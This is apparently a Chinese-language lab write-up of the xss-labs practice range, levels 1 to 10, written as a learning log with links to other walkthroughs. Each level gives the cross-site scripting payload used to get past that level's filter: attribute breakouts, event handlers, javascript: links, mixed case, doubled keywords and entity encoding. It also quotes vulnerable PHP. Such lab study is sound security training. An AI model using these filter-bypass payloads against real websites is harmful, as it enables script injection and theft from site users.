前言

项目地址:do0dl3/xss-labs: xss 跨站漏洞平台 (github.com)

参考了一下师傅的wp

xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客

xss-labs 靶场详细攻略(附常用payload) - FreeBuf网络安全行业门户

学习记录xss的利用

level-1(无过滤)

http://localhost/xss-labs/level1.php?name=<script>alert(1)</script>

最基本的xss

level-2(htmlspecialchars)

<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

这是关键代码

**PHP htmlspecialchars() 函数:**把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ’ (单引号)成为 ',如果设置了 ENT_QUOTES 标志,则会被转换为 &#039
  • < (小于)成为 <
  • > (大于)成为 >

虽然过滤了"(双引号)和<,但’(单引号)在此处还是单引号

先测试一波先前的payload

image-20240706190815633

可以发现,上面的被转义了,然而下面的没转义

那我们就可以从下面的着手

"><script>alert('xss')</script>

然后就过关了

level-3(htmlspecialchars)

按照先前的payload测一下

image-20240706191129791

发现上面和下面的都被转义了

但是根据htmlspecialchars这个函数,单引号在默认情况下是不专一的,那么我们就可以尝试没有尖括号的payload

'onclick=alert(1)

这样点击搜索框就会触发

或者

'onmouseover='alert(1)

移动到搜索框就会触发

level-4(去掉尖括号)

输入测试payload

'';!--"<XSS>=&{()}
image-20240706191748285

发现<括号被过滤了

但是下面只过滤了尖括号,我们可以直接采用level3的payload,改变闭合方式即可

"onmouseover="alert(1)

level-5(绕过检测<script和on事件)

输入测试paylaod

'';!--"<XSS>=&{()}
"onmouseover="alert(1)

发现过滤了

ono_n

<script过滤为<scr_ipt

发现javascript不会被过滤

应该是过滤on和script开头的东西

我们可以考虑构造伪协议

"></br><img src="javascript:alert('1');

发现没卵用

构造一个超链接

"></br><a/href=javascript:alert('1');>

点击超链接就弹出来了

Level6(大小写绕过)

这一关把srchref也给禁了

但是看源代码发现过滤是preg_match这样我们可以考虑使用大小写绕过这个检测试试

"><sCrIpT>alert("XSS")</sCrIpT>

Level7(script标签移除,双写绕过)

用经典payload

<script>alert("xss")</script>

发现把script给移除了

考虑能不能双写

"><scrscriptipt>alert("xss")</scrscriptipt>

成功

Level8(关键字ASCII编码)

进行ASCII编码转换:

" &#34

t &#116
&#58

用这种技巧绕过

发现值传递到了a href标签里,试试javascript伪协议

由于引号发生了转义

使用ASCII编码尝试绕过

javascrip&#116&#58alert('1')

Level9(带上必要字段)

发现没http字段不行

那就javascrip&#116&#58alert('http://xxx')

Level10(利用hidden参数传递)

网页源码和之前的相比,多了下面这三行:

<input name="t_link" value="" type="hidden">

<input name="t_history" value="" type="hidden">

<input name="t_sort" value="" type="hidden">

但事实上我们可以利用这三个按钮进行传递

直接修改前端hidden为submit,然后构造xss

t_link=1&t_history=2&t_sort=3"onmouseover='alert(1)' type="text"
image-20240706203044116

成功

Level11